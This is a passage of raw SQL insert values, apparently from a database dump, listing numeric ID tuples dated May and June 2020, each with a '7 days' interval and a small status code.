days',1),(22772,659,4322,5541,160,73,'2020-05-27','7 days',1),(22773,647,4322,5541,160,73,'2020-05-27','7 days',0),(22774,642,4322,5541,160,73,'2020-05-27','7 days',0),(22775,640,4322,5541,160,73,'2020-05-27','7 days',0),(22776,639,4322,5541,160,73,'2020-05-27','7 days',0),(22903,12818,4194,5405,204,86,'2020-05-28','7 days',0),(22904,12259,4194,5405,204,86,'2020-05-28','7 days',1),(22905,12258,4194,5405,204,86,'2020-05-28','7 days',0),(22906,12257,4194,5405,204,86,'2020-05-28','7 days',0),(22907,12256,4194,5405,204,86,'2020-05-28','7 days',0),(22914,13085,3812,4990,204,86,'2020-05-28','7 days',0),(22915,13009,3812,4990,204,86,'2020-05-28','7 days',0),(22916,13008,3812,4990,204,86,'2020-05-28','7 days',1),(22917,13007,3812,4990,204,86,'2020-05-28','7 days',0),(22918,13006,3812,4990,204,86,'2020-05-28','7 days',0),(22919,13005,3812,4990,204,86,'2020-05-28','7 days',0),(22920,13004,3812,4990,204,86,'2020-05-28','7 days',0),(22921,13099,3938,5137,1343,86,'2020-05-28','7 days',1),(22922,12357,3938,5137,1343,86,'2020-05-28','7 days',0),(22923,12303,3938,5137,1343,86,'2020-05-28','7 days',0),(22924,13105,4064,5268,203,86,'2020-05-28','7 days',0),(22925,13104,4064,5268,203,86,'2020-05-28','7 days',1),(22926,13103,4064,5268,203,86,'2020-05-28','7 days',0),(22927,13102,4064,5268,203,86,'2020-05-28','7 days',0),(22928,13101,4056,5257,1393,86,'2020-05-28','7 days',1),(22929,13098,4056,5257,1393,86,'2020-05-28','7 days',0),(22930,13097,4056,5257,1393,86,'2020-05-28','7 days',0),(22931,13096,4056,5257,1393,86,'2020-05-28','7 days',0),(22932,13106,3812,4990,204,86,'2020-05-29','7 days',0),(22933,13107,3812,4990,204,86,'2020-05-29','7 days',0),(22934,13108,3812,4990,204,86,'2020-05-29','7 days',0),(22935,13109,3812,4990,204,86,'2020-05-29','7 days',1),(22944,9936,4386,5564,359,251,'2020-05-29','7 days',1),(22946,9934,4386,5564,359,251,'2020-05-29','7 days',0),(22947,9933,4386,5564,359,251,'2020-05-29','7 days',1),(22948,9932,4386,5564,359,251,'2020-05-29','7 days',1),(22949,9034,4386,5564,359,251,'2020-05-29','7 days',0),(22951,9033,4386,5564,359,251,'2020-05-29','7 days',0),(22953,11360,4218,5431,1370,667,'2020-05-29','7 days',1),(22954,11359,4218,5431,1370,667,'2020-05-29','7 days',1),(22955,11358,4218,5431,1370,667,'2020-05-29','7 days',1),(22956,11357,4218,5431,1370,667,'2020-05-29','7 days',1),(22957,11356,4218,5431,1370,667,'2020-05-29','7 days',1),(22958,11355,4218,5431,1370,667,'2020-05-29','7 days',1),(22968,11360,4191,5402,1370,667,'2020-05-29','7 days',1),(22969,11359,4191,5402,1370,667,'2020-05-29','7 days',1),(22970,11358,4191,5402,1370,667,'2020-05-29','7 days',1),(22971,11357,4191,5402,1370,667,'2020-05-29','7 days',1),(22972,11356,4191,5402,1370,667,'2020-05-29','7 days',1),(23063,10251,4337,5561,1324,959,'2020-06-01','7 days',1),(23064,10212,4337,5561,1324,959,'2020-06-01','7 days',1),(23065,10211,4337,5561,1324,959,'2020-06-01','7 days',0),(23066,10393,4337,5561,1324,959,'2020-06-01','7 days',1),(23075,11355,4191,5402,1370,667,'2020-06-01','7 days',1),(23076,11354,4191,5402,1370,667,'2020-06-01','7 days',1),(23077,11353,4191,5402,1370,667,'2020-06-01','7 days',1),(23078,11352,4191,5402,1370,667,'2020-06-01','7 days',1),(23079,11351,4191,5402,1370,667,'2020-06-01','7 days',1),(23080,11353,3983,5183,1370,667,'2020-06-01','7 days',1),(23081,11352,3983,5183,1370,667,'2020-06-01','7 days',1),(23082,11351,3983,5183,1370,667,'2020-06-01','7 days',1),(23083,11353,3882,5066,1370,667,'2020-06-01','7 days',1),(23084,11352,3882,5066,1370,667,'2020-06-01','7 days',1),(23085,11351,3882,5066,1370,667,'2020-06-01','7 days',1),(23106,12972,3985,5185,1410,975,'2020-06-01','7 days',1),(23107,12897,4117,5321,1067,326,'2020-06-01','7 days',0),(23173,10058,4446,498,194,45,'2020-06-02','7 days',0),(23223,9028,4467,5383,357,251,'2020-06-02','7 days',1),(23224,9027,4467,5383,357,251,'2020-06-02','7 days',0),(23225,9026,4467,5383,357,251,'2020-06-02','7 days',0),(23226,9025,4467,5383,357,251,'2020-06-02','7 days',0),(23227,9111,4387,5384,357,251,'2020-06-02','7 days',1),(23228,9110,4387,5384,357,251,'2020-06-02','7 days',0),(23229,9109,4387,5384,357,251,'2020-06-02','7 days',1),(23230,9108,4387,5384,357,251,'2020-06-02','7 days',1),(23231,9107,4387,5384,357,251,'2020-06-02','7 days',1),(23364,11354,4218,5431,1370,667,'2020-06-03','7 days',1),(23365,11353,4218,5431,1370,667,'2020-06-03','7 days',1),(23366,11352,4218,5431,1370,667,'2020-06-03','7 days',1),(23367,11351,4218,5431,1370,667,'2020-06-03','7 days',1),(23377,11360,4465,5066,1370,667,'2020-06-03','7 days',1),(23378,11359,4465,5066,1370,667,'2020-06-03','7 days',1),(23379,11358,4465,5066,1370,667,'2020-06-03','7 days',1),(23380,11357,4465,5066,1370,667,'2020-06-03','7 days',1),(23381,11356,4465,5066,1370,667,'2020-06-03','7 days',1),(23382,11355,4465,5066,1370,667,'2020-06-03','7 days',1),(23383,11354,4465,5066,1370,667,'2020-06-03','7 days',1),(23384,9720,3926,5123,1067,326,'2020-06-03','7 days',1),(23385,9719,3926,5123,1067,326,'2020-06-03','7 days',0),(23386,7421,3926,5123,1067,326,'2020-06-03','7 days',0),(23387,7420,3926,5123,1067,326,'2020-06-03','7 days',0),(23388,7417,3926,5123,1067,326,'2020-06-03','7 days',0),(23389,7416,3926,5123,1067,326,'2020-06-03','7 days',1),(23390,12897,3926,5123,1067,326,'2020-06-03','7 days',1),(23391,12875,3926,5123,1067,326,'2020-06-03','7 days',1),(23392,9801,3926,5123,1067,326,'2020-06-03','7 days',0),(23393,9800,3926,5123,1067,326,'2020-06-03','7 days',0),(23394,9798,3926,5123,1067,326,'2020-06-03','7 days',0),(23432,13180,4199,5411,1410,975,'2020-06-03','7 days',1),(23433,12972,4199,5411,1410,975,'2020-06-03','7 days',1),(23434,13180,4263,5479,1410,975,'2020-06-03','7 days',1),(23435,12972,4263,5479,1410,975,'2020-06-03','7 days',1),(23460,13212,4483,5690,222,85,'2020-06-03','7 days',0),(23461,13211,4483,5690,222,85,'2020-06-03','7 days',0),(23462,13210,4483,5690,222,85,'2020-06-03','7 days',2),(23463,13209,4483,5690,222,85,'2020-06-03','7 days',0),(23464,13208,4483,5690,222,85,'2020-06-03','7 days',0),(23465,13207,4483,5690,222,85,'2020-06-03','7 days',2),(23466,13206,4483,5690,222,85,'2020-06-03','7 days',0),(23467,13205,4483,5690,222,85,'2020-06-03','7 days',1),(23468,13204,4483,5690,222,85,'2020-06-03','7 days',0),(23469,13202,4483,5690,222,85,'2020-06-03','7 days',0),(23470,13201,4483,5690,222,85,'2020-06-03','7 days',2),(23471,13200,4483,5690,222,85,'2020-06-03','7 days',0),(23472,13199,4483,5690,222,85,'2020-06-03','7 days',0),(23473,13198,4483,5690,222,85,'2020-06-03','7 days',0),(23474,13197,4483,5690,222,85,'2020-06-03','7 days',0),(23475,13196,4483,5690,222,85,'2020-06-03','7 days',2),(23476,13195,4483,5690,222,85,'2020-06-03','7 days',0),(23477,13194,4483,5690,222,85,'2020-06-03','7 days',0),(23478,13193,4483,5690,222,85,'2020-06-03','7 days',1),(23479,13192,4483,5690,222,85,'2020-06-03','7 days',0),(23480,13191,4483,5690,222,85,'2020-06-03','7 days',0),(23481,11427,4392,5362,1408,86,'2020-06-03','7 days',0),(23482,13099,4392,5362,1408,86,'2020-06-03','7 days',1),(23483,13085,4392,5362,1408,86,'2020-06-03','7 days',0),(23484,13009,4392,5362,1408,86,'2020-06-03','7 days',2),(23485,13008,4392,5362,1408,86,'2020-06-03','7 days',1),(23486,13007,4392,5362,1408,86,'2020-06-03','7 days',2),(23487,12299,4392,5362,1408,86,'2020-06-03','7 days',0),(23488,12298,4392,5362,1408,86,'2020-06-03','7 days',0),(23489,12297,4392,5362,1408,86,'2020-06-03','7 days',0),(23490,12296,4392,5362,1408,86,'2020-06-03','7 days',0),(23491,11970,4392,5362,1408,86,'2020-06-03','7 days',0),(23492,11962,4392,5362,1408,86,'2020-06-03','7 days',0),(23493,11961,4392,5362,1408,86,'2020-06-03','7 days',0),(23494,11959,4392,5362,1408,86,'2020-06-03','7 days',0),(23495,13006,4226,5440,1393,86,'2020-06-03','7 days',0),(23496,13005,4226,5440,1393,86,'2020-06-03','7 days',0),(23497,13004,4226,5440,1393,86,'2020-06-03','7 days',0),(23498,12788,4226,5440,1393,86,'2020-06-03','7 days',0),(23499,12787,4226,5440,1393,86,'2020-06-03','7 days',0),(23500,12786,4226,5440,1393,86,'2020-06-03','7 days',1),(23501,12785,4226,5440,1393,86,'2020-06-03','7 days',0),(23508,12900,4344,5569,194,45,'2020-06-04','7 days',0),(23509,12776,4344,5569,194,45,'2020-06-04','7 days',1),(23510,12900,4437,5650,193,45,'2020-06-04','7 days',0),(23511,12776,4437,5650,193,45,'2020-06-04','7 days',1),(23520,13096,3938,5137,1343,86,'2020-06-04','7 days',0),(23521,13095,3938,5137,1343,86,'2020-06-04','7 days',2),(23522,13091,3938,5137,1343,86,'2020-06-04','7 days',0),(23523,13090,3938,5137,1343,86,'2020-06-04','7 days',0),(23524,13101,3898,5091,1251,86,'2020-06-04','7 days',2),(23525,13098,3898,5091,1251,86,'2020-06-04','7 days',0),(23526,13097,3898,5091,1251,86,'2020-06-04','7 days',0),(23527,13096,3898,5091,1251,86,'2020-06-04','7 days',1),(23528,13095,3898,5091,1251,86,'2020-06-04','7 days',2),(23529,13091,3898,5091,1251,86,'2020-06-04','7 days',0),(23530,12513,3701,4842,204,86,'2020-06-04','7 days',1),(23548,13225,3566,4662,160,73,'2020-06-04','7 days',1),(23549,12979,3566,4662,160,73,'2020-06-04','7 days',1),(23550,11589,3122,4089,160,73,'2020-06-04','7 days',1),(23576,657,4482,5688,161,73,'2020-06-05','7 days',1),(23577,654,4482,5688,161,73,'2020-06-05','7 days',0),(23578,13212,2723,3520,222,85,'2020-06-05','7 days',0),(23579,13211,2723,3520,222,85,'2020-06-05','7 days',0),(23580,13210,2723,3520,222,85,'2020-06-05','7 days',2),(23581,13209,2723,3520,222,85,'2020-06-05','7 days',0),(23582,13208,2723,3520,222,85,'2020-06-05','7 days',0),(23583,13207,2723,3520,222,85,'2020-06-05','7 days',0),(23584,13206,2723,3520,222,85,'2020-06-05','7 days',0),(23585,13205,2723,3520,222,85,'2020-06-05','7 days',0),(23586,13204,2723,3520,222,85,'2020-06-05','7 days',0),(23587,13202,2723,3520,222,85,'2020-06-05','7 days',0),(23588,13201,2723,3520,222,85,'2020-06-05','7 days',0),(23589,13200,2723,3520,222,85,'2020-06-05','7 days',0),(23590,13199,2723,3520,222,85,'2020-06-05','7 days',0),(23591,13198,2723,3520,222,85,'2020-06-05','7 days',0),(23592,13197,2723,3520,222,85,'2020-06-05','7 days',0),(23593,13196,2723,3520,222,85,'2020-06-05','7 days',0),(23594,13195,2723,3520,222,85,'2020-06-05','7 days',0),(23595,13194,2723,3520,222,85,'2020-06-05','7 days',0),(23596,13193,2723,3520,222,85,'2020-06-05','7 days',0),(23597,13192,2723,3520,222,85,'2020-06-05','7 days',0),(23598,13191,2723,3520,222,85,'2020-06-05','7 days',0),(23606,13235,4392,5362,1408,86,'2020-06-05','7 days',1),(23607,13233,4392,5362,1408,86,'2020-06-05','7 days',1),(23608,13236,4392,5362,1408,86,'2020-06-05','7 days',1),(23609,13100,4392,5362,1408,86,'2020-06-05','7 days',0),(23610,8996,4392,5362,1408,86,'2020-06-05','7 days',1),(23636,11360,4498,5699,1370,667,'2020-06-05','7 days',1),(23637,11359,4498,5699,1370,667,'2020-06-05','7 days',1),(23638,11358,4498,5699,1370,667,'2020-06-05','7 days',1),(23639,11357,4498,5699,1370,667,'2020-06-05','7 days',1),(23640,11356,4498,5699,1370,667,'2020-06-05','7 days',1),(23641,11355,4498,5699,1370,667,'2020-06-05','7 days',1),(23642,11354,4498,5699,1370,667,'2020-06-05','7 days',1),(23643,9114,4513,5716,358,251,'2020-06-05','7 days',0),(23644,9113,4513,5716,358,251,'2020-06-05','7 days',0),(23645,9112,4513,5716,358,251,'2020-06-05','7 days',0),(23646,9054,4513,5716,358,251,'2020-06-05','7 days',1),(23647,9053,4513,5716,358,251,'2020-06-05','7 days',2),(23648,8784,4445,5656,162,73,'2020-06-05','7 days',1),(23649,8783,4445,5656,162,73,'2020-06-05','7 days',0),(23650,656,4445,5656,162,73,'2020-06-05','7 days',2),(23651,653,4445,5656,162,73,'2020-06-05','7 days',1),(23652,13225,3888,5082,160,73,'2020-06-05','7 days',1),(23653,640,3888,5082,160,73,'2020-06-05','7 days',0),(23654,639,3888,5082,160,73,'2020-06-05','7 days',0),(23655,637,3888,5082,160,73,'2020-06-05','7 days',0),(23656,636,3888,5082,160,73,'2020-06-05','7 days',0),(23657,629,3888,5082,160,73,'2020-06-05','7 days',0),(23683,9012,4496,5697,160,73,'2020-06-06','7 days',0),(23684,9010,4496,5697,160,73,'2020-06-06','7 days',0),(23685,8785,4496,5697,160,73,'2020-06-06','7 days',0),(23686,8782,4496,5697,160,73,'2020-06-06','7 days',1),(23687,652,4496,5697,160,73,'2020-06-06','7 days',0),(23702,4510,4530,1774,633,639,'2020-06-06','7 days',0),(23703,4506,4530,1774,633,639,'2020-06-06','7 days',0),(23704,4516,4530,1774,633,639,'2020-06-06','7 days',1),(23705,4514,4530,1774,633,639,'2020-06-06','7 days',1),(23706,4499,4530,1774,633,639,'2020-06-06','7 days',0),(23707,4467,4530,1774,633,639,'2020-06-06','7 days',2),(23708,4460,4530,1774,633,639,'2020-06-06','7 days',2),(23710,11353,4498,5699,1370,667,'2020-06-08','7 days',1),(23711,11352,4498,5699,1370,667,'2020-06-08','7 days',1),(23712,11351,4498,5699,1370,667,'2020-06-08','7 days',0),(23713,11353,4465,5066,1370,667,'2020-06-08','7 days',2),(23714,11352,4465,5066,1370,667,'2020-06-08','7 days',1),(23715,11351,4465,5066,1370,667,'2020-06-08','7 days',1),(23747,4452,3860,5048,634,639,'2020-06-08','7 days',1),(23748,4452,3723,4883,634,639,'2020-06-08','7 days',1),(23789,13101,4575,5784,1394,86,'2020-06-08','7 days',2),(23790,13098,4575,5784,1394,86,'2020-06-08','7 days',0),(23791,13097,4575,5784,1394,86,'2020-06-08','7 days',0),(23792,13096,4575,5784,1394,86,'2020-06-08','7 days',1),(23793,13095,4575,5784,1394,86,'2020-06-08','7 days',2),(23794,13091,4575,5784,1394,86,'2020-06-08','7 days',0),(23795,13090,4575,5784,1394,86,'2020-06-08','7 days',0),(23796,13089,4575,5784,1394,86,'2020-06-08','7 days',0),(23797,13087,4575,5784,1394,86,'2020-06-08','7 days',2),(23798,12826,4575,5784,1394,86,'2020-06-08','7 days',0),(23799,12782,4575,5784,1394,86,'2020-06-08','7 days',0),(23800,12769,4575,5784,1394,86,'2020-06-08','7 days',0),(23913,13099,4585,5794,1343,86,'2020-06-09','7 days',1),(23914,13085,4585,5794,1343,86,'2020-06-09','7 days',0),(23915,13009,4585,5794,1343,86,'2020-06-09','7 days',2),(23916,13008,4585,5794,1343,86,'2020-06-09','7 days',1),(23917,13007,4585,5794,1343,86,'2020-06-09','7 days',2),(23918,13006,4585,5794,1343,86,'2020-06-09','7 days',0),(23919,13005,4585,5794,1343,86,'2020-06-09','7 days',0),(23920,13004,4585,5794,1343,86,'2020-06-09','7 days',0),(23921,12788,4585,5794,1343,86,'2020-06-09','7 days',0),(23922,12787,4585,5794,1343,86,'2020-06-09','7 days',0),(23923,12299,4585,5794,1343,86,'2020-06-09','7 days',0),(23924,11520,4568,5777,194,45,'2020-06-10','7 days',1),(23925,11519,4568,5777,194,45,'2020-06-10','7 days',1),(23926,11520,4589,5798,193,45,'2020-06-10','7 days',1),(23927,11519,4589,5798,193,45,'2020-06-10','7 days',1),(23929,5467,4564,5772,194,45,'2020-06-10','7 days',1),(23930,1408,4439,5652,194,45,'2020-06-10','7 days',0),(23931,1407,4439,5652,194,45,'2020-06-10','7 days',0),(23932,1000,4438,5651,194,45,'2020-06-10','7 days',1),(23933,11689,4396,5617,194,45,'2020-06-10','7 days',1),(23934,11688,4396,5617,194,45,'2020-06-10','7 days',1),(23935,12776,4328,5548,194,45,'2020-06-10','7 days',1),(23936,10287,3974,5175,161,73,'2020-06-10','7 days',1),(23937,664,3974,5175,161,73,'2020-06-10','7 days',0),(23938,663,3974,5175,161,73,'2020-06-10','7 days',1),(23939,658,3974,5175,161,73,'2020-06-10','7 days',0),(23940,669,3999,5197,161,73,'2020-06-10','7 days',0),(23941,650,3999,5197,161,73,'2020-06-10','7 days',2),(23942,649,3999,5197,161,73,'2020-06-10','7 days',2),(23943,646,3999,5197,161,73,'2020-06-10','7 days',0),(23944,645,3999,5197,161,73,'2020-06-10','7 days',1),(23945,670,4005,5206,160,73,'2020-06-10','7 days',2),(23946,660,4005,5206,160,73,'2020-06-10','7 days',0),(23947,640,4134,5341,162,73,'2020-06-10','7 days',0),(23948,639,4134,5341,162,73,'2020-06-10','7 days',0),(23949,637,4134,5341,162,73,'2020-06-10','7 days',0),(23950,636,4134,5341,162,73,'2020-06-10','7 days',0),(23951,629,4134,5341,162,73,'2020-06-10','7 days',0),(23952,659,4187,3790,160,73,'2020-06-10','7 days',1),(23953,647,4187,3790,160,73,'2020-06-10','7 days',0),(23954,642,4187,3790,160,73,'2020-06-10','7 days',0),(23955,640,4187,3790,160,73,'2020-06-10','7 days',0),(23956,639,4187,3790,160,73,'2020-06-10','7 days',0),(23957,673,4241,5456,161,73,'2020-06-10','7 days',0),(23958,667,4241,5456,161,73,'2020-06-10','7 days',1),(23959,666,4241,5456,161,73,'2020-06-10','7 days',0),(23960,661,4322,5541,160,73,'2020-06-10','7 days',0),(23961,637,4322,5541,160,73,'2020-06-10','7 days',0),(23962,636,4322,5541,160,73,'2020-06-10','7 days',0),(23963,629,4322,5541,160,73,'2020-06-10','7 days',0),(23964,673,4445,5656,162,73,'2020-06-10','7 days',0),(23965,667,4445,5656,162,73,'2020-06-10','7 days',1),(23966,666,4445,5656,162,73,'2020-06-10','7 days',0),(23967,651,4496,5697,160,73,'2020-06-10','7 days',0),(23968,644,4496,5697,160,73,'2020-06-10','7 days',1),(23969,643,4496,5697,160,73,'2020-06-10','7 days',0),(23970,641,4496,5697,160,73,'2020-06-10','7 days',1),(23971,638,4496,5697,160,73,'2020-06-10','7 days',1),(23972,635,4496,5697,160,73,'2020-06-10','7 days',0),(23973,630,4496,5697,160,73,'2020-06-10','7 days',2),(23987,13334,4607,5818,204,86,'2020-06-10','7 days',0),(23988,13333,4607,5818,204,86,'2020-06-10','7 days',0),(23989,13332,4607,5818,204,86,'2020-06-10','7 days',1),(23990,13331,4607,5818,204,86,'2020-06-10','7 days',1),(23991,13330,4607,5818,204,86,'2020-06-10','7 days',2),(23992,13329,4607,5818,204,86,'2020-06-10','7 days',0),(23993,13328,4607,5818,204,86,'2020-06-10','7 days',0),(23994,13327,4607,5818,204,86,'2020-06-10','7 days',0),(23995,13326,4607,5818,204,86,'2020-06-10','7 days',2),(24020,13342,4608,5819,1394,86,'2020-06-10','7 days',0),(24021,13341,4608,5819,1394,86,'2020-06-10','7 days',0),(24022,13340,4608,5819,1394,86,'2020-06-10','7 days',1),(24023,13339,4608,5819,1394,86,'2020-06-10','7 days',1),(24024,13338,4608,5819,1394,86,'2020-06-10','7 days',0),(24030,13344,4608,5819,1394,86,'2020-06-10','7 days',1),(24031,13343,4608,5819,1394,86,'2020-06-10','7 days',2),(24032,9715,4608,5819,1394,86,'2020-06-10','7 days',0),(24033,9714,4608,5819,1394,86,'2020-06-10','7 days',2),(24034,9713,4608,5819,1394,86,'2020-06-10','7 days',0),(24052,4510,4580,5788,634,639,'2020-06-10','7 days',2),(24053,4506,4580,5788,634,639,'2020-06-10','7 days',2),(24054,4516,4580,5788,634,639,'2020-06-10','7 days',1),(24055,4514,4580,5788,634,639,'2020-06-10','7 days',1),(24056,4499,4580,5788,634,639,'2020-06-10','7 days',0),(24057,4467,4580,5788,634,639,'2020-06-10','7 days',2),(24058,4460,4580,5788,634,639,'2020-06-10','7 days',2),(24059,4512,4530,1774,633,639,'2020-06-10','7 days',1),(24060,4494,4530,1774,633,639,'2020-06-10','7 days',1),(24061,4487,4530,1774,633,639,'2020-06-10','7 days',0),(24062,4483,4530,1774,633,639,'2020-06-10','7 days',2),(24063,4477,4530,1774,633,639,'2020-06-10','7 days',2),(24064,4473,4530,1774,633,639,'2020-06-10','7 days',2),(24074,9608,4610,5823,203,86,'2020-06-10','7 days',0),(24075,9607,4610,5823,203,86,'2020-06-10','7 days',0),(24076,9606,4610,5823,203,86,'2020-06-10','7 days',0),(24077,9090,4610,5823,203,86,'2020-06-10','7 days',0),(24078,9007,4610,5823,203,86,'2020-06-10','7 days',0),(24079,9006,4610,5823,203,86,'2020-06-10','7 days',0),(24080,9005,4610,5823,203,86,'2020-06-10','7 days',0),(24081,9004,4610,5823,203,86,'2020-06-10','7 days',0),(24082,9003,4610,5823,203,86,'2020-06-10','7 days',0),(24083,9002,4610,5823,203,86,'2020-06-10','7 days',1),(24084,9000,4610,5823,203,86,'2020-06-10','7 days',1),(24085,8999,4610,5823,203,86,'2020-06-10','7 days',1),(24086,8997,4610,5823,203,86,'2020-06-10','7 days',1),(24131,9157,4604,5815,1012,91,'2020-06-11','7 days',1),(24132,7019,4604,5815,1012,91,'2020-06-11','7 days',0),(24133,9159,4604,5815,1012,91,'2020-06-11','7 days',1),(24134,7213,4604,5815,1012,91,'2020-06-11','7 days',1),(24138,13354,4623,5838,1235,277,'2020-06-11','7 days',0),(24188,7210,4502,5704,1011,91,'2020-06-11','7 days',2),(24189,7209,4502,5704,1011,91,'2020-06-11','7 days',1),(24190,9537,4502,5704,1011,91,'2020-06-11','7 days',0),(24277,9797,4637,5853,1067,326,'2020-06-12','7 days',0),(24278,9796,4637,5853,1067,326,'2020-06-12','7 days',0),(24279,9795,4637,5853,1067,326,'2020-06-12','7 days',0),(24280,9720,4637,5853,1067,326,'2020-06-12','7 days',1),(24281,9719,4637,5853,1067,326,'2020-06-12','7 days',0),(24282,7421,4637,5853,1067,326,'2020-06-12','7 days',0),(24283,7420,4637,5853,1067,326,'2020-06-12','7 days',0),(24284,7419,4637,5853,1067,326,'2020-06-12','7 days',0),(24285,7418,4637,5853,1067,326,'2020-06-12','7 days',0),(24286,7417,4637,5853,1067,326,'2020-06-12','7 days',0),(24287,7416,4637,5853,1067,326,'2020-06-12','7 days',1),(24288,7415,4637,5853,1067,326,'2020-06-12','7 days',0),(24302,13380,4636,5852,1439,86,'2020-06-12','7 days',0),(24303,13379,4636,5852,1439,86,'2020-06-12','7 days',0),(24304,13378,4636,5852,1439,86,'2020-06-12','7 days',0),(24305,13233,4636,5852,1439,86,'2020-06-12','7 days',1),(24306,11427,4636,5852,1439,86,'2020-06-12','7 days',0),(24307,9534,4636,5852,1439,86,'2020-06-12','7 days',0),(24308,9533,4636,5852,1439,86,'2020-06-12','7 days',0),(24309,9532,4636,5852,1439,86,'2020-06-12','7 days',1),(24324,9110,4466,5671,358,251,'2020-06-12','7 days',0),(24325,9109,4466,5671,358,251,'2020-06-12','7 days',1),(24326,9108,4466,5671,358,251,'2020-06-12','7 days',1),(24327,9111,4531,5737,357,251,'2020-06-12','7 days',1),(24328,9110,4531,5737,357,251,'2020-06-12','7 days',0),(24329,9109,4531,5737,357,251,'2020-06-12','7 days',1),(24330,9108,4618,5522,358,251,'2020-06-12','7 days',1),(24331,9107,4618,5522,358,251,'2020-06-12','7 days',1),(24509,9910,4623,5838,1235,277,'2020-06-15','7 days',1),(24510,12022,4216,5429,1235,277,'2020-06-15','7 days',1),(24511,8784,4629,5844,162,73,'2020-06-15','7 days',1),(24512,8783,4629,5844,162,73,'2020-06-15','7 days',0),(24513,656,4629,5844,162,73,'2020-06-15','7 days',0),(24514,653,4629,5844,162,73,'2020-06-15','7 days',2),(24585,9007,4575,5784,1394,86,'2020-06-16','7 days',0),(24586,9003,4575,5784,1394,86,'2020-06-16','7 days',0),(24587,9000,4575,5784,1394,86,'2020-06-16','7 days',1),(24596,13180,4659,5874,1410,975,'2020-06-16','7 days',1),(24597,12972,4659,5874,1410,975,'2020-06-16','7 days',1),(24603,13180,4690,5905,1410,975,'2020-06-16','7 days',1),(24604,12972,4690,5905,1410,975,'2020-06-16','7 days',1),(24690,13180,4707,5923,1410,975,'2020-06-17','7 days',1),(24708,13099,4717,5933,1394,86,'2020-06-17','7 days',1),(24709,13085,4717,5933,1394,86,'2020-06-17','7 days',0),(24710,13009,4717,5933,1394,86,'2020-06-17','7 days',2),(24711,13008,4717,5933,1394,86,'2020-06-17','7 days',1),(24712,13007,4717,5933,1394,86,'2020-06-17','7 days',2),(24713,13006,4717,5933,1394,86,'2020-06-17','7 days',0),(24714,13005,4717,5933,1394,86,'2020-06-17','7 days',0),(24715,13004,4717,5933,1394,86,'2020-06-17','7 days',2),(24716,12787,4717,5933,1394,86,'2020-06-17','7 days',0),(24717,12784,4717,5933,1394,86,'2020-06-17','7 days',0),(24718,12358,4717,5933,1394,86,'2020-06-17','7 days',0),(24719,12357,4717,5933,1394,86,'2020-06-17','7 days',0),(24720,12303,4717,5933,1394,86,'2020-06-17','7 days',0),(24721,12299,4717,5933,1394,86,'2020-06-17','7 days',2),(24722,12296,4717,5933,1394,86,'2020-06-17','7 days',0),(24723,11954,4717,5933,1394,86,'2020-06-17','7 days',1),(24805,12368,4585,5794,1343,86,'2020-06-18','7 days',0),(24806,12367,4585,5794,1343,86,'2020-06-18','7 days',0),(24807,9007,4585,5794,1343,86,'2020-06-18','7 days',0),(24808,9004,4585,5794,1343,86,'2020-06-18','7 days',0),(24809,8997,4585,5794,1343,86,'2020-06-18','7 days',1),(24881,13334,4733,5872,1408,86,'2020-06-19','7 days',0),(24882,13333,4733,5872,1408,86,'2020-06-19','7 days',0),(24883,13332,4733,5872,1408,86,'2020-06-19','7 days',1),(24884,13331,4733,5872,1408,86,'2020-06-19','7 days',1),(24885,13330,4733,5872,1408,86,'2020-06-19','7 days',2),(24886,13329,4733,5872,1408,86,'2020-06-19','7 days',0),(24887,13328,4733,5872,1408,86,'2020-06-19','7 days',0),(24888,13327,4733,5872,1408,86,'2020-06-19','7 days',0),(24889,13326,4733,5872,1408,86,'2020-06-19','7 days',2),(24920,12972,4757,5971,1410,975,'2020-06-20','7 days',1),(24928,647,4719,5935,160,73,'2020-06-20','7 days',0),(24929,639,4719,5935,160,73,'2020-06-20','7 days',0),(24930,637,4719,5935,160,73,'2020-06-20','7 days',0),(24931,636,4719,5935,160,73,'2020-06-20','7 days',0),(24932,629,4719,5935,160,73,'2020-06-20','7 days',0),(24992,673,4676,5891,161,73,'2020-06-22','7 days',0),(24993,667,4676,5891,161,73,'2020-06-22','7 days',1),(24994,666,4676,5891,161,73,'2020-06-22','7 days',0),(25042,11360,4709,5925,1370,667,'2020-06-23','7 days',0),(25043,11359,4709,5925,1370,667,'2020-06-23','7 days',0),(25044,11358,4709,5925,1370,667,'2020-06-23','7 days',0),(25045,11357,4709,5925,1370,667,'2020-06-23','7 days',0),(25076,11689,4641,5856,194,45,'2020-06-24','7 days',1),(25078,13523,4784,4604,194,45,'2020-06-24','7 days',1),(25079,13522,4784,4604,194,45,'2020-06-24','7 days',0),(25080,13523,4778,5992,194,45,'2020-06-24','7 days',1),(25081,13522,4778,5992,194,45,'2020-06-24','7 days',0),(25082,11715,4720,5936,194,45,'2020-06-24','7 days',1),(25083,11714,4720,5936,194,45,'2020-06-24','7 days',1),(25137,12303,4820,6032,1439,86,'2020-06-24','7 days',0),(25138,12299,4820,6032,1439,86,'2020-06-24','7 days',0),(25139,12298,4820,6032,1439,86,'2020-06-24','7 days',0),(25140,12297,4820,6032,1439,86,'2020-06-24','7 days',0),(25141,11965,4820,6032,1439,86,'2020-06-24','7 days',0),(25142,11964,4820,6032,1439,86,'2020-06-24','7 days',0),(25143,11962,4820,6032,1439,86,'2020-06-24','7 days',0),(25144,11961,4820,6032,1439,86,'2020-06-24','7 days',0),(25145,11959,4820,6032,1439,86,'2020-06-24','7 days',0),(25146,11957,4820,6032,1439,86,'2020-06-24','7 days',0),(25147,11954,4820,6032,1439,86,'2020-06-24','7 days',1),(25148,11951,4820,6032,1439,86,'2020-06-24','7 days',0),(25149,11949,4820,6032,1439,86,'2020-06-24','7 days',2),(25159,10251,4764,5977,1367,959,'2020-06-25','7 days',1),(25160,10212,4764,5977,1367,959,'2020-06-25','7 days',1),(25161,10211,4764,5977,1367,959,'2020-06-25','7 days',0),(25162,10393,4764,5977,1367,959,'2020-06-25','7 days',1),(25193,4516,4706,4283,633,639,'2020-06-25','7 days',1),(25194,4514,4706,4283,633,639,'2020-06-25','7 days',0),(25195,4499,4706,4283,633,639,'2020-06-25','7 days',0),(25196,4467,4706,4283,633,639,'2020-06-25','7 days',2),(25197,4460,4706,4283,633,639,'2020-06-25','7 days',2),(25346,13523,4840,6054,195,45,'2020-06-29','7 days',0),(25347,13522,4840,6054,195,45,'2020-06-29','7 days',0),(25348,12900,4840,6054,195,45,'2020-06-29','7 days',0),(25349,12867,4840,6054,195,45,'2020-06-29','7 days',1),(25350,12776,4840,6054,195,45,'2020-06-29','7 days',1),(25351,906,4840,6054,195,45,'2020-06-29','7 days',0),(25352,905,4840,6054,195,45,'2020-06-29','7 